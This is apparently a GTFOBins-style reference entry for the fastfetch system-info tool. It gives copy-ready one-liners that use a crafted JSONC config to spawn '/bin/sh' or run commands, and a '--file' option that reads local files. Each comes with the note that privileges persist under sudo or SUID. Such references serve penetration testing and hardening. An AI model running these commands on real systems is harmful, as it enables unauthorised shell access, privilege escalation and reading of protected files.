fastfetch
Shell
This executable can spawn an interactive system shell.
- This function can be performed by any unprivileged user.
echo '{"modules":[{"type":"command","key":"x","text":"exec /bin/sh 1>&0 2>&0"}]}' >/path/to/temp-file.jsonc fastfetch -c /path/to/temp-file.jsoncThis function is performed by the privileged user if executed viasudobecause the acquired privileges are not dropped.echo '{"modules":[{"type":"command","key":"x","text":"exec /bin/sh 1>&0 2>&0"}]}' >/path/to/temp-file.jsonc fastfetch -c /path/to/temp-file.jsoncThis function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.echo '{"modules":[{"type":"command","key":"x","text":"exec /bin/sh 1>&0 2>&0"}]}' >/path/to/temp-file.jsonc fastfetch -c /path/to/temp-file.jsonc
Command
This executable can run non-interactive system commands.
- This function can be performed by any unprivileged user.
echo '{"modules":[{"type":"command","key":"x","text":"exec /path/to/command"}]}' >/path/to/temp-file.jsonc fastfetch -c /path/to/temp-file.jsoncThis function is performed by the privileged user if executed viasudobecause the acquired privileges are not dropped.echo '{"modules":[{"type":"command","key":"x","text":"exec /path/to/command"}]}' >/path/to/temp-file.jsonc fastfetch -c /path/to/temp-file.jsoncThis function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.echo '{"modules":[{"type":"command","key":"x","text":"exec /path/to/command"}]}' >/path/to/temp-file.jsonc fastfetch -c /path/to/temp-file.jsonc
File read
This executable can read data from local files.
- This function can be performed by any unprivileged user.
fastfetch --file /path/to/input-fileThis function is performed by the privileged user if executed viasudobecause the acquired privileges are not dropped.fastfetch --file /path/to/input-fileThis function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.fastfetch --file /path/to/input-file